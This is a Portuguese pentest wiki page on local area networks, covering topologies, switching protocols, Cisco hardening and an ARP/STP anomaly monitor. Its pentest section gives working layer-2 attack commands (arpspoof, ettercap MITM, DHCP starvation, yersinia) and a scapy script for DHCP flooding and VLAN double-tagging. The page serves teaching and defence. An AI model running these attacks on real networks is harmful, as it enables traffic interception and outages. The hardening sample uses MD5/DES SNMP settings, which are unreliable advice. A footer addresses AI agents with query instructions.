# LAN

Uma **LAN (Local Area Network)** é uma rede de computadores que interconecta dispositivos dentro de uma área geográfica limitada, como uma residência, escritório, escola ou campus. As LANs são caracterizadas por alta velocidade de transmissão, baixa latência e propriedade privada da infraestrutura.

### Características Principais

```yaml
Características das LANs:
  ✅ Área geográfica limitada (até alguns quilômetros)
  ✅ Alta velocidade (100 Mbps a 100 Gbps)
  ✅ Baixa latência (sub-milissegundo a milissegundos)
  ✅ Propriedade privada (não depende de operadoras)
  ✅ Baixo custo de implementação por dispositivo
  ✅ Facilidade de expansão e manutenção
  
Limitações:
  ❌ Alcance limitado
  ❌ Número máximo de dispositivos por segmento
  ❌ Interferência eletromagnética em meios físicos
```

### Comparação com Outros Tipos de Rede

| Tipo     | Alcance   | Velocidade          | Propriedade | Exemplo                      |
| -------- | --------- | ------------------- | ----------- | ---------------------------- |
| **LAN**  | Até 2 km  | 100 Mbps - 100 Gbps | Privada     | Rede de escritório           |
| **WLAN** | Até 200 m | 54 Mbps - 9.6 Gbps  | Privada     | Wi-Fi doméstico              |
| **MAN**  | 2 - 50 km | 1 - 100 Gbps        | Mista       | Rede de campus universitário |
| **WAN**  | > 50 km   | 1 Mbps - 100 Gbps   | Operadora   | Internet, VPNs               |
| **PAN**  | Até 10 m  | 1 - 100 Mbps        | Privada     | Bluetooth, USB               |

## 🏗️ Arquitetura e Topologias

### Topologias de Rede

```mermaid
graph TD
    subgraph "Topologia Estrela"
        S1[Switch Central]
        H1[Host 1] --- S1
        H2[Host 2] --- S1
        H3[Host 3] --- S1
    end
    
    subgraph "Topologia Barramento"
        B1[Host 1] --- B2[Host 2]
        B2 --- B3[Host 3]
        B3 --- B4[Host 4]
    end
    
    subgraph "Topologia Anel"
        R1[Host 1] --- R2[Host 2]
        R2 --- R3[Host 3]
        R3 --- R4[Host 4]
        R4 --- R1
    end
    
    subgraph "Topologia Malha"
        M1[Host 1] --- M2[Host 2]
        M1 --- M3[Host 3]
        M2 --- M3
    end
```

### Comparação de Topologias

| Topologia      | Vantagens                                            | Desvantagens                                 | Uso Típico                   |
| -------------- | ---------------------------------------------------- | -------------------------------------------- | ---------------------------- |
| **Estrela**    | Fácil gerenciamento, ponto único de falha localizado | Dependência do switch central                | Redes Ethernet modernas      |
| **Barramento** | Baixo custo, simples                                 | Colisões frequentes, difícil troubleshooting | Redes antigas (coaxial)      |
| **Anel**       | Desempenho previsível                                | Falha de um nó quebra a rede                 | FDDI, Token Ring             |
| **Malha**      | Alta redundância, alta disponibilidade               | Alto custo, complexa                         | Redes críticas, data centers |
| **Árvore**     | Escalável, hierárquica                               | Pontos de falha hierárquicos                 | Redes empresariais           |

### Arquitetura Hierárquica de LAN

```mermaid
graph TD
    subgraph "Camada Core"
        C1[Switch Core 1]
        C2[Switch Core 2]
    end
    
    subgraph "Camada Distribuição"
        D1[Switch Distribuição 1]
        D2[Switch Distribuição 2]
    end
    
    subgraph "Camada Acesso"
        A1[Switch Acesso 1]
        A2[Switch Acesso 2]
        A3[Switch Acesso 3]
        A4[Switch Acesso 4]
    end
    
    C1 --- C2
    C1 --- D1
    C1 --- D2
    C2 --- D1
    C2 --- D2
    D1 --- A1
    D1 --- A2
    D2 --- A3
    D2 --- A4
```

## 🔌 Componentes de Rede

### Hardware de Rede

| Componente       | Função                           | Camada OSI | Exemplo                |
| ---------------- | -------------------------------- | ---------- | ---------------------- |
| **Switch**       | Encaminha frames com base em MAC | 2          | Cisco Catalyst, Arista |
| **Router**       | Encaminha pacotes com base em IP | 3          | Cisco ISR, MikroTik    |
| **Access Point** | Converte Ethernet para Wi-Fi     | 2          | Ubiquiti, Aruba        |
| **Firewall**     | Filtra tráfego baseado em regras | 3-7        | Palo Alto, Fortinet    |
| **Bridge**       | Conecta segmentos de rede        | 2          | Switch básico          |
| **Repeater**     | Regenera sinal                   | 1          | Extensor de sinal      |
| **NIC**          | Interface de rede                | 2          | Placa de rede Ethernet |

### Meios de Transmissão

```yaml
Cabo de Par Trançado (UTP/STP):
  - Categorias: Cat5e (1 Gbps), Cat6 (10 Gbps), Cat6a (10 Gbps), Cat7 (10 Gbps+)
  - Distância máxima: 100 metros
  - Conectores: RJ45
  - Blindagem: UTP (não blindado), STP (blindado), FTP (foil)

Fibra Óptica:
  - Tipos: Multimodo (MMF) e Monomodo (SMF)
  - Distância: 550m (MMF) a 40km+ (SMF)
  - Conectores: LC, SC, ST, MTP/MPO
  - Velocidade: 1 Gbps a 400 Gbps

Wireless (Wi-Fi):
  - Padrões: 802.11a/b/g/n/ac/ax (Wi-Fi 6/6E/7)
  - Frequências: 2.4 GHz, 5 GHz, 6 GHz
  - Alcance: 30-100 metros
  - Segurança: WPA3 (recomendado)
```

## 📡 Protocolos da Camada 2

### Ethernet (IEEE 802.3)

```python
#!/usr/bin/env python3
# ethernet_frame.py

import struct
import socket

class EthernetFrame:
    """Estrutura de um frame Ethernet"""
    
    def __init__(self):
        self.dest_mac = None
        self.src_mac = None
        self.ethertype = None
        self.payload = None
        self.fcs = None
    
    def build(self, dest_mac, src_mac, ethertype, payload):
        """Construir frame Ethernet"""
        # Converter MACs para bytes
        dest_bytes = bytes.fromhex(dest_mac.replace(':', ''))
        src_bytes = bytes.fromhex(src_mac.replace(':', ''))
        
        # Ethertype em bytes
        ethertype_bytes = struct.pack('!H', ethertype)
        
        # Montar frame
        frame = dest_bytes + src_bytes + ethertype_bytes + payload
        
        # Calcular FCS (CRC-32) - simplificado
        self.fcs = self.calculate_crc32(frame)
        
        return frame + struct.pack('!I', self.fcs)
    
    def calculate_crc32(self, data):
        """Calcular CRC-32 para FCS"""
        import zlib
        return zlib.crc32(data) & 0xFFFFFFFF
    
    def parse(self, frame):
        """Parsear frame Ethernet"""
        if len(frame) < 14:
            return None
        
        # Extrair MACs
        self.dest_mac = ':'.join(f'{b:02x}' for b in frame[0:6])
        self.src_mac = ':'.join(f'{b:02x}' for b in frame[6:12])
        
        # Ethertype
        self.ethertype = struct.unpack('!H', frame[12:14])[0]
        
        # Payload (sem FCS)
        self.payload = frame[14:-4]
        
        # Verificar FCS
        received_fcs = struct.unpack('!I', frame[-4:])[0]
        calculated_fcs = self.calculate_crc32(frame[:-4])
        
        return self

# Ethertypes comuns
ETHERTYPE_IPV4 = 0x0800
ETHERTYPE_ARP = 0x0806
ETHERTYPE_IPV6 = 0x86DD
ETHERTYPE_VLAN = 0x8100
```

### VLAN (Virtual LAN - IEEE 802.1Q)

```python
#!/usr/bin/env python3
# vlan_config.py

class VLANManager:
    """Gerenciamento de VLANs"""
    
    def __init__(self):
        self.vlans = {}
        self.ports = {}
    
    def create_vlan(self, vlan_id, name):
        """Criar VLAN"""
        if 1 <= vlan_id <= 4094:
            self.vlans[vlan_id] = {
                'name': name,
                'ports': [],
                'tagged': []
            }
            print(f"[+] VLAN {vlan_id} ({name}) criada")
            return True
        print(f"[-] VLAN ID {vlan_id} inválido")
        return False
    
    def assign_port(self, vlan_id, port, tagged=False):
        """Atribuir porta à VLAN"""
        if vlan_id not in self.vlans:
            print(f"[-] VLAN {vlan_id} não existe")
            return False
        
        if tagged:
            self.vlans[vlan_id]['tagged'].append(port)
        else:
            self.vlans[vlan_id]['ports'].append(port)
        
        self.ports[port] = {
            'vlan_id': vlan_id,
            'tagged': tagged
        }
        
        print(f"[+] Porta {port} atribuída à VLAN {vlan_id} "
              f"({'tagged' if tagged else 'untagged'})")
        return True
    
    def configure_trunk(self, port, allowed_vlans=None):
        """Configurar porta trunk"""
        if allowed_vlans is None:
            allowed_vlans = list(self.vlans.keys())
        
        for vlan_id in allowed_vlans:
            self.assign_port(vlan_id, port, tagged=True)
        
        print(f"[+] Porta {port} configurada como trunk (VLANS: {allowed_vlans})")
        return True
    
    def show_vlans(self):
        """Exibir configuração de VLANs"""
        print("\n=== VLAN CONFIGURATION ===\n")
        for vlan_id, config in self.vlans.items():
            print(f"VLAN {vlan_id}: {config['name']}")
            if config['ports']:
                print(f"  Untagged ports: {config['ports']}")
            if config['tagged']:
                print(f"  Tagged ports: {config['tagged']}")
            print()

# Exemplo
vlan = VLANManager()
vlan.create_vlan(10, "Sales")
vlan.create_vlan(20, "Engineering")
vlan.create_vlan(30, "Management")
vlan.assign_port(10, "Gi0/1")
vlan.assign_port(20, "Gi0/2")
vlan.configure_trunk("Gi0/24", [10, 20, 30])
vlan.show_vlans()
```

### STP (Spanning Tree Protocol)

```python
# spanning_tree.py
import time
import random

class BPDU:
    """Bridge Protocol Data Unit"""
    
    def __init__(self, bridge_id, root_id, cost):
        self.protocol_id = 0
        self.version = 0
        self.bpdu_type = 0  # Configuration BPDU
        self.flags = 0
        self.root_id = root_id
        self.root_path_cost = cost
        self.bridge_id = bridge_id
        self.port_id = 0
        self.message_age = 0
        self.max_age = 20
        self.hello_time = 2
        self.forward_delay = 15

class SpanningTreeProtocol:
    """Simulação do Spanning Tree Protocol"""
    
    STATES = ['BLOCKING', 'LISTENING', 'LEARNING', 'FORWARDING', 'DISABLED']
    
    def __init__(self, bridge_id, priority=32768):
        self.bridge_id = bridge_id
        self.priority = priority
        self.root_bridge = bridge_id
        self.root_cost = 0
        self.ports = {}
        self.state = 'LISTENING'
    
    def elect_root_bridge(self, bridges):
        """Eleger root bridge (menor ID)"""
        self.root_bridge = min(bridges, key=lambda b: b.priority)
        print(f"[+] Root bridge eleita: {self.root_bridge.bridge_id}")
        return self.root_bridge
    
    def calculate_path_cost(self, port_speed):
        """Calcular custo do caminho baseado na velocidade"""
        cost_map = {
            10: 100,      # 10 Mbps
            100: 19,      # 100 Mbps
            1000: 4,      # 1 Gbps
            10000: 2,     # 10 Gbps
            100000: 1     # 100 Gbps
        }
        return cost_map.get(port_speed, 100)
    
    def receive_bpdu(self, bpdu, port):
        """Processar BPDU recebido"""
        if bpdu.root_id < self.root_bridge:
            self.root_bridge = bpdu.root_id
            self.root_cost = bpdu.root_path_cost + self.calculate_path_cost(port.speed)
            self.state = 'LEARNING'
            print(f"[*] Nova root bridge detectada: {self.root_bridge}")
    
    def run(self):
        """Executar STP"""
        print(f"[*] STP iniciado na bridge {self.bridge_id}")
        print(f"[*] Estado inicial: {self.state}")
        
        # Simular convergência
        time.sleep(15)
        self.state = 'FORWARDING'
        print(f"[+] Estado final: {self.state} - Forwarding traffic")
```

## 🔒 Segurança em LAN

### Ameaças Comuns em LAN

```mermaid
graph TD
    A[Ameaças em LAN] --> B[ARP Spoofing]
    A --> C[MAC Flooding]
    A --> D[VLAN Hopping]
    A --> E[STP Manipulation]
    A --> F[DHCP Spoofing]
    A --> G[LLMNR/NBT-NS Poisoning]
    
    B --> B1[Man-in-the-Middle]
    C --> C1[Switch DoS]
    D --> D1[Acesso entre VLANs]
    E --> E1[Root bridge takeover]
    F --> F1[Redirecionamento de tráfego]
    G --> G1[Capsulação de credenciais]
```

### Configurações de Segurança

```cisco
! Configurações de segurança para switch Cisco

! 1. Port Security
interface GigabitEthernet0/1
 switchport port-security
 switchport port-security maximum 2
 switchport port-security violation shutdown
 switchport port-security mac-address sticky

! 2. DHCP Snooping
ip dhcp snooping
ip dhcp snooping vlan 10,20,30
interface GigabitEthernet0/24
 ip dhcp snooping trust

! 3. Dynamic ARP Inspection (DAI)
ip arp inspection vlan 10,20,30
interface GigabitEthernet0/24
 ip arp inspection trust

! 4. VLAN Segmentation
vlan 10
 name Sales
vlan 20
 name Engineering
vlan 99
 name Native
!
interface GigabitEthernet0/1
 switchport mode access
 switchport access vlan 10

! 5. BPDU Guard
interface GigabitEthernet0/1
 spanning-tree bpduguard enable

! 6. Root Guard
interface GigabitEthernet0/24
 spanning-tree guard root

! 7. Private VLANs
vlan 100
 private-vlan primary
vlan 101
 private-vlan isolated
vlan 102
 private-vlan community

! 8. 802.1X Authentication
dot1x system-auth-control
interface GigabitEthernet0/1
 authentication port-control auto
 dot1x pae authenticator
```

## 🎯 Pentesting em LAN

### Metodologia de Teste

```mermaid
sequenceDiagram
    participant T as Testador
    participant L as LAN Alvo
    
    T->>L: 1. Descoberta de hosts ativos
    T->>L: 2. Mapeamento de topologia
    T->>L: 3. Identificação de serviços
    T->>L: 4. Teste de vulnerabilidades
    T->>L: 5. Exploração
    T->>L: 6. Documentação
```

### Ferramentas de Pentest em LAN

```bash
# 1. Descoberta de hosts
nmap -sn 192.168.1.0/24
arp-scan --localnet
netdiscover -r 192.168.1.0/24

# 2. Varredura de portas
nmap -sS -p- 192.168.1.100
masscan -p1-65535 192.168.1.0/24 --rate=1000

# 3. Análise de VLAN
# Ferramentas: Yersinia, VLAN Hopping
yersinia -I 8021q
frogger -h 192.168.1.1

# 4. ARP Spoofing
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

# 5. DHCP Attacks
dhcpstarv -i eth0 -v
yersinia -I dhcp

# 6. STP Attacks
yersinia -I stp
```

### Script de Pentest em LAN

```python
#!/usr/bin/env python3
# lan_pentest.py

import scapy.all as scapy
import netifaces
import threading
import time

class LANSecurityTest:
    """Teste de segurança em LAN"""
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.ip = self.get_ip()
        self.mac = self.get_mac()
        self.hosts = {}
    
    def get_ip(self):
        """Obter IP da interface"""
        return netifaces.ifaddresses(self.interface)[netifaces.AF_INET][0]['addr']
    
    def get_mac(self):
        """Obter MAC da interface"""
        return netifaces.ifaddresses(self.interface)[netifaces.AF_LINK][0]['addr']
    
    def discover_hosts(self):
        """Descobrir hosts ativos na rede"""
        network = f"{self.ip.rsplit('.', 1)[0]}.0/24"
        arp_request = scapy.ARP(pdst=network)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        
        answered = scapy.srp(packet, timeout=2, verbose=False)[0]
        
        for sent, received in answered:
            self.hosts[received.psrc] = received.hwsrc
            print(f"Host: {received.psrc} - MAC: {received.hwsrc}")
        
        return self.hosts
    
    def test_arp_spoofing(self, target_ip, gateway_ip):
        """Testar vulnerabilidade a ARP spoofing"""
        print(f"[*] Testando ARP spoofing em {target_ip}")
        
        def poison(target_ip, target_mac, spoof_ip):
            packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
            scapy.send(packet, verbose=False)
        
        target_mac = self.get_mac_from_ip(target_ip)
        gateway_mac = self.get_mac_from_ip(gateway_ip)
        
        if target_mac and gateway_mac:
            print(f"[!] Vulnerável a ARP spoofing!")
            return True
        return False
    
    def get_mac_from_ip(self, ip):
        """Obter MAC a partir de IP"""
        arp_request = scapy.ARP(pdst=ip)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
        packet = broadcast / arp_request
        
        answered = scapy.srp(packet, timeout=2, verbose=False)[0]
        
        if answered:
            return answered[0][1].hwsrc
        return None
    
    def test_dhcp_starvation(self):
        """Testar vulnerabilidade a DHCP starvation"""
        print("[*] Testando DHCP starvation...")
        
        for i in range(100):
            fake_mac = f"00:11:22:{i:02x}:{i+1:02x}:{i+2:02x}"
            dhcp_discover = scapy.Ether(src=fake_mac, dst="ff:ff:ff:ff:ff:ff") / \
                            scapy.IP(src="0.0.0.0", dst="255.255.255.255") / \
                            scapy.UDP(sport=68, dport=67) / \
                            scapy.BOOTP(chaddr=fake_mac) / \
                            scapy.DHCP(options=[("message-type", "discover"), "end"])
            scapy.sendp(dhcp_discover, iface=self.interface, verbose=False)
        
        print("[+] Teste de DHCP starvation concluído")
        return True
    
    def test_vlan_hopping(self):
        """Testar vulnerabilidade a VLAN hopping"""
        print("[*] Testando VLAN hopping...")
        
        # Double tagging attack
        vlan_id_outer = 1
        vlan_id_inner = 2
        
        # Construir pacote com double tag 802.1Q
        packet = scapy.Ether() / \
                 scapy.Dot1Q(vlan=vlan_id_outer) / \
                 scapy.Dot1Q(vlan=vlan_id_inner) / \
                 scapy.IP(dst="192.168.1.100") / \
                 scapy.ICMP()
        
        scapy.sendp(packet, iface=self.interface, verbose=False)
        print("[+] Teste de VLAN hopping concluído")
        return True
    
    def run_full_test(self, gateway_ip):
        """Executar teste completo"""
        print("=== LAN SECURITY TEST ===\n")
        
        print("[1] Descoberta de hosts:")
        hosts = self.discover_hosts()
        
        print("\n[2] Teste de ARP spoofing:")
        for host in hosts:
            if host != gateway_ip:
                self.test_arp_spoofing(host, gateway_ip)
        
        print("\n[3] Teste de DHCP starvation:")
        self.test_dhcp_starvation()
        
        print("\n[4] Teste de VLAN hopping:")
        self.test_vlan_hopping()
        
        print("\n=== TESTE CONCLUÍDO ===")

# Exemplo
tester = LANSecurityTest('eth0')
tester.run_full_test('192.168.1.1')
```

## 🔧 Ferramentas e Diagnóstico

### Comandos Essenciais

```bash
# Windows
ipconfig /all                    # Informações de rede
arp -a                          # Tabela ARP
netstat -r                      # Tabela de roteamento
nbtstat -n                      # Estatísticas NetBIOS
netsh lan show interfaces       # Interfaces LAN

# Linux
ifconfig -a                     # Interfaces de rede
ip addr show                    # Endereços IP
ip link show                    # Interfaces físicas
bridge link show                # Pontes de rede
ethtool eth0                    # Informações da interface

# macOS
networksetup -listallhardwareports
ifconfig en0
```

### Análise de Tráfego

```bash
# Captura de tráfego
tcpdump -i eth0 -n -c 100
tcpdump -i eth0 ether host aa:bb:cc:dd:ee:ff
tcpdump -i eth0 vlan 10

# Wireshark filters
# Filtros de exibição
eth.src == aa:bb:cc:dd:ee:ff
vlan.id == 10
arp
stp
cdp
lldp

# Análise de tráfego de broadcast
tcpdump -i eth0 -n broadcast
tcpdump -i eth0 -n 'ether[0] & 1 = 1'
```

### Monitoramento de LAN

```python
#!/usr/bin/env python3
# lan_monitor.py

import scapy.all as scapy
import time
from collections import defaultdict

class LANMonitor:
    """Monitoramento de atividades em LAN"""
    
    def __init__(self, interface='eth0'):
        self.interface = interface
        self.packets = defaultdict(int)
        self.arp_table = {}
    
    def packet_handler(self, packet):
        """Handler de pacotes para monitoramento"""
        
        # Estatísticas de protocolos
        if packet.haslayer(scapy.Ether):
            self.packets['total'] += 1
        
        if packet.haslayer(scapy.ARP):
            self.packets['arp'] += 1
            self.detect_arp_anomaly(packet)
        
        if packet.haslayer(scapy.Dot1Q):
            self.packets['vlan'] += 1
            vlan_id = packet[scapy.Dot1Q].vlan
            print(f"  VLAN {vlan_id}: {packet[scapy.Ether].src} -> {packet[scapy.Ether].dst}")
        
        if packet.haslayer(scapy.STP):
            self.packets['stp'] += 1
            self.detect_stp_anomaly(packet)
    
    def detect_arp_anomaly(self, packet):
        """Detectar anomalias ARP"""
        if packet[scapy.ARP].op == 2:  # ARP Reply
            ip = packet[scapy.ARP].psrc
            mac = packet[scapy.ARP].hwsrc
            
            if ip in self.arp_table and self.arp_table[ip] != mac:
                print(f"[!] ALERTA: ARP spoofing detectado!")
                print(f"    IP: {ip}")
                print(f"    MAC anterior: {self.arp_table[ip]}")
                print(f"    MAC novo: {mac}")
            
            self.arp_table[ip] = mac
    
    def detect_stp_anomaly(self, packet):
        """Detectar anomalias STP"""
        if packet[scapy.STP].bpdu_type == 0:
            root_id = packet[scapy.STP].root_id
            bridge_id = packet[scapy.STP].bridge_id
            
            if root_id != bridge_id:
                print(f"[!] ALERTA: BPDU de root bridge não autorizada!")
                print(f"    Root ID: {root_id}")
                print(f"    Bridge ID: {bridge_id}")
    
    def get_statistics(self):
        """Obter estatísticas de tráfego"""
        print("\n=== ESTATÍSTICAS DE TRÁFEGO ===\n")
        print(f"Total de pacotes: {self.packets['total']}")
        print(f"ARP packets: {self.packets['arp']}")
        print(f"VLAN packets: {self.packets['vlan']}")
        print(f"STP packets: {self.packets['stp']}")
    
    def start_monitoring(self, duration=60):
        """Iniciar monitoramento por período determinado"""
        print(f"[*] Monitorando LAN em {self.interface} por {duration} segundos...")
        
        scapy.sniff(iface=self.interface, 
                   prn=self.packet_handler,
                   timeout=duration,
                   store=False)
        
        self.get_statistics()

# Exemplo
monitor = LANMonitor('eth0')
monitor.start_monitoring(30)
```

## 🛡️ Hardening e Mitigação

### Checklist de Segurança para LAN

```yaml
Configurações de Switch:
  - [ ] Desabilitar portas não utilizadas
  - [ ] Configurar port security
  - [ ] Habilitar DHCP snooping
  - [ ] Habilitar Dynamic ARP Inspection (DAI)
  - [ ] Configurar VLANs de forma segura
  - [ ] Desabilitar VLAN nativa em trunks
  - [ ] Habilitar BPDU Guard em portas de acesso
  - [ ] Configurar Root Guard em portas críticas
  - [ ] Habilitar Storm Control
  - [ ] Configurar SSH em vez de Telnet

Segurança de Host:
  - [ ] Desabilitar serviços desnecessários
  - [ ] Configurar firewall local
  - [ ] Atualizar drivers de rede
  - [ ] Desabilitar LLMNR e NetBIOS
  - [ ] Configurar 802.1X para autenticação

Monitoramento:
  - [ ] Implementar IDS/IPS na LAN
  - [ ] Monitorar tráfego ARP
  - [ ] Logging de mudanças na tabela MAC
  - [ ] Alertas para BPDUs não autorizados
```

### Hardening de Switch

```cisco
! Script de hardening para switch Cisco

! 1. Desabilitar serviços desnecessários
no ip http-server
no ip http-secure-server
no service tcp-small-servers
no service udp-small-servers

! 2. Configurar autenticação
username admin secret StrongPassword123!
line vty 0 15
 login local
 transport input ssh
 ip access-class SSH-ACCESS in

! 3. Configurar logging
logging buffered 16384
logging console critical
logging monitor informational

! 4. Configurar SNMPv3
snmp-server group READONLY v3 priv read VIEW-ALL
snmp-server user monitor READONLY v3 auth md5 AuthPass priv des PrivPass

! 5. Configurar ACLs
ip access-list extended SSH-ACCESS
 permit tcp 192.168.1.0 0.0.0.255 host 192.168.1.1 eq 22
 deny ip any any

! 6. Configurar Spanning Tree
spanning-tree mode rapid-pvst
spanning-tree portfast bpduguard default
spanning-tree loopguard default

! 7. Configurar Storm Control
storm-control broadcast level 10.00
storm-control multicast level 10.00
```

## 📊 Conclusão e Boas Práticas

### Resumo Técnico

```yaml
LAN (Local Area Network):
  ✅ Alta velocidade e baixa latência
  ✅ Propriedade privada, controle total
  ✅ Tecnologia madura e bem estabelecida

Desafios de segurança:
  ❌ Vulnerável a ataques de camada 2 (ARP, MAC flooding)
  ❌ Broadcast domain compartilhado
  ❌ Dependência de switches e cabeamento

Boas Práticas:
  - Segmentação com VLANs
  - Port Security e DHCP Snooping
  - Dynamic ARP Inspection
  - Monitoramento contínuo
```

### Recomendações Finais

1. **Para Administradores**
   * Implementar VLANs para segmentação
   * Configurar port security em todas as portas de acesso
   * Habilitar DHCP snooping e DAI
   * Monitorar tráfego de rede regularmente
2. **Para Pentesters**
   * Testar ARP spoofing e MITM
   * Verificar VLAN hopping
   * Testar DHCP starvation
   * Avaliar configurações de STP
3. **Para Arquitetos**
   * Projetar rede hierárquica (Core-Distribution-Access)
   * Implementar redundância em pontos críticos
   * Planejar crescimento e escalabilidade
   * Considerar SD-Access para automação

**🔐 Lembre-se**: A segurança da LAN é fundamental, pois a maioria dos ataques internos começa na camada 2. Defesas adequadas protegem contra movimentação lateral e escalonamento.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/geoposicionamento-de-redes/lan.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
